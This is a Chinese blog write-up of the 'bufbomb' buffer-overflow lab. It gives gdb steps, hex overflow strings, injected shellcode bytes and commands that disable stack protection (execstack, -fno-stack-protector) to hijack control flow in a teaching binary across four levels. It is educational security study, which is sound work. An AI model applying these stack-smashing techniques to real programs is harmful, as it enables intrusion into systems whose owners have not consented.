转载请注明出处:https://www.cnblogs.com/ustca/p/11735120.htmlhtml
逆向工程【缓冲区溢出攻击】拓展:二进制炸弹反汇编
任务描述
掌握函数调用时的栈帧结构,利用输入缓冲区的溢出漏洞,将攻击代码嵌入当前程序的栈帧中,使程序执行咱们所指望的过程。sass
主要方法
溢出的字符将覆盖栈帧上的数据,会覆盖程序调用的返回地址,这赋予了咱们控制程序流程的能力。经过构造溢出字符串,程序将“返回”至咱们想要的代码上。 实验包括三个可执行文件: ---| bufbomb为目标程序 ---| makecookie能够生成bufbomb须要的输入参数的cookie(也能够在gdb调试时直接读取寄存器得到) ---| sendstring能够将ASCII码转成字符(实验用到了拓展ASCII码)cookie
程序运行时栈帧结构
Level0:Somke
getbuf函数在test中被调用,当getbuf返回时继续执行第八行:函数
void test() { int val; volatile int local = 0xdeadbeef; entry_check(3); /* Make sure entered this function properly */ val = getbuf(); /* Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { ...... } }
Bufbomb中一个正常状况下不会被执行的函数:工具
void smoke() { entry_check(0); /* Make sure entered this function properly */ printf("Smoke!: You called smoke()\n"); validate(0); exit(0); }
攻击目标
在getbuf返回时跳到smoke函数执行。测试
思路
一、经过gdb调试获得咱们输入的字符串首地址<kbd>p/x $ebp-0xc</kbd> 二、找到函数smoke的地址<kbd>p/x &smoke</kbd> 三、用smoke函数的地址覆盖getbuf的返回地址this
操做
首先对可执行程序进行反汇编<kbd>objdump -d bufbomb > bufbomb.s</kbd>
反汇编获得的汇编码中,找到getbuf的代码段,能够看到缓冲区首地址为<kbd>-0xc(%ebp),%eax</kbd> 打开gdb调试,在Gets函数执行前设置断点<kbd>b *0x8048fec</kbd> 运行程序,输入测试字符:
获得缓冲区首地址为<kbd>0xffffb16c</kbd>
获得smoke函数入口地址<kbd>0x8048e20</kbd>编码
接下来只须要构造攻击字符串,使得字符串溢出部分覆盖返回地址,达到“返回”到smoke函数的目的。url
根据程序运行时的栈帧结构,能够获得返回地址存储在ebp寄存器的后4字节,输入缓冲区大小为0xc+4,最终获得攻击字符串长度应该为0xc+4+4=20字节。 只要输入字符串的最后4字节为smoke函数入口地址便可跳转,前16字节数据能够为任意值,小端模式下攻击字符串以下: <kbd>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08</kbd> 将字符串保存到exploit1.txt文件中,使用<kbd>./sendstring <exploit1.txt> exploit1_raw.txt</kbd>将ASCII码转为实际字符。 执行程序测试运行结果<kbd>./bufbomb -t USTCSA < exploit1_raw.txt</kbd> spa
Level1:Fizz
另外一函数
void fizz(int val) { entry_check(1); /* Make sure entered this function properly */ if (val == cookie) { printf("Fizz!: You called fizz(0x%x)\n", val); validate(1); } else printf("Misfire: You called fizz(0x%x)\n", val); exit(0); }
攻击目标
“返回”到该函数并传送参数cookie
操做
原理与smoke相同,观察栈帧结构能够发现只须要在smoke攻击字串后面再继续覆盖调用栈帧的参数。 fizz入口地址为0x8048dc0. 与smoke相同,ebp+4为栈帧返回地址。
执行完ret指令后栈顶指针 %esp 会自动增长4以还原栈帧。
在fizz汇编代码段,cmp指令是将存放cookie的变量与%ebp+0x8处的值相比,此时参数地址也就是旧的ebp+4+8。
cookie值经过<kbd>./makecookie USTCSA</kbd>得到。
经过以上分析能够获得,fizz攻击的字符串与smoke相比,只须要将ebp之上4个字节的地址覆盖,而后再往上8字节填入cookie参数。
除了fizz的入口地址与cookie参数,其他字节均可以用任意值填充,获得一下攻击字符串。 <kbd>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08 00 00 00 00 c1 5f d3 11</kbd> 再使用sendstring得到新的攻击字符,执行程序测试运行结果
Level2:Bang
第三个函数
int global_value = 0; void bang(int val) { entry_check(2); /* Make sure entered this function properly */ if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else { printf("Misfire: global_value = 0x%x\n", global_value); exit(0); } }
攻击目标
构造若干条指令,修改全局变量global_val,而后跳转到bang函数 (须要execstack工具解除栈执行限制)
操做
与smoke和fizz不一样的是,这里不在是简单的纂改返回地址。由于涉及到修改全局变量,因此须要注入咱们本身的代码,而后将返回地址篡改到攻击代码处执行,最后ret到bang函数。
经过前两个实验的分析,已经得知输入缓冲区最大有16字节的空间,而咱们注入的代码正好只须要16字节空间。
如下是咱们想要添加执行的汇编码:
movl $0x11d35fc1, 0x804a1dc push $0x8048d60 ret
movl指令将咱们的cookie(11d35fc1)传递到0x804a1dc(cmp指令对比时的全局变量取值) push指令将bang函数的入口地址压栈 ret指令返回咱们最后压入的bang函数入口,实现跳转的效果 将咱们本身写的汇编码保存,经过gcc将汇编码编译成机器码 <kbd>gcc -m32 -c bang.s</kbd>得到bang.o 再将机器码读取 <kbd>objdump -d bang.o</kbd>
bang.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: c7 05 dc a1 04 08 c1 movl $0x11d35fc1,0x804a1dc 7: 5f d3 11 a: 68 60 8d 04 08 push $0x8048d60 f: c3 ret
<kbd>c7 05 dc a1 04 08 c1 5f d3 11 68 60 8d 04 08 c3 </kbd> 得到咱们本身想要操做的指令机器码。
只须要在这段字串后再加上缓冲区的首地址,用来覆盖原返回地址,可得到最后的攻击字符串: <kbd>c7 05 dc a1 04 08 c1 5f d3 11 68 60 8d 04 08 c3 6c b1 ff ff</kbd>
使用sendstring得到新的攻击字符,执行程序测试运行结果 提示运行失败。。。。。。。。。 一直觉得是本身哪里写错了,折腾了一下午
出现段错误是由于Linux系统默认开启了栈保护机制,用于阻止缓冲区溢出攻击🙂🙂🙂
解决方法: 安装execstack <kbd>sudo apt-get install execstack</kbd> 修改程序堆栈的可执行属性 <kbd>execstack -s bufbomb</kbd>
如果拥有bufbomb的源代码,也能够在编译时关闭保护机制从新编译 <kbd>gcc -g -z execstack -fno-stack-protector bufbomb.c -o bufbomb</kbd>
再次测试运行结果 另外,修改堆栈可执行属性只能在gdb调试下有效,实际运行仍然会出现段错误。完全解决的方法是找到源代码之后从新编译。还有一点,屡次实验时可能会出现缓冲区首地址改变的状况。
Level3:Test
第四个函数
void test() { int val; volatile int local = 0xdeadbeef; entry_check(3); /* Make sure entered this function properly */ val = getbuf(); /* Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned 0x%x\n", val); } }
攻击目标
函数正常返回时执行 第15行,咱们要让函数执行第12行
操做
与bang不一样的是,本任务中咱们但愿getbuf() 结束后回到test()本来的位置,并将cookie做为getbuf()的返回值传给test()。过程当中须要将ebp复原,使程序不会由于外部攻击而出错崩溃,保证退出攻击后栈空间还原。
操做流程: 获取旧的ebp值 写须要插入执行的汇编码——用指令设置返回值,并返回getbuf下一行执行 利用溢出覆盖修改ebp
gdb调试获取ebp: 编写汇编码:
movl $0x11d35fc1, %eax push $0x0804901e ret
转为机器码:
00000000 <.text>: 0: b8 c1 5f d3 11 mov $0x11d35fc1,%eax 5: 68 1e 90 04 08 push $0x804901e a: c3 ret
<kbd>b8 c1 5f d3 11 68 1e 90 04 08 c3</kbd>
最后再修改ebp得到攻击字符串: <kbd>b8 c1 5f d3 11 68 1e 90 04 08 c3 00 98 b1 ff ff 6c b1 ff ff</kbd>
测试运行结果
原文出处:https://www.cnblogs.com/ustca/p/11735120.html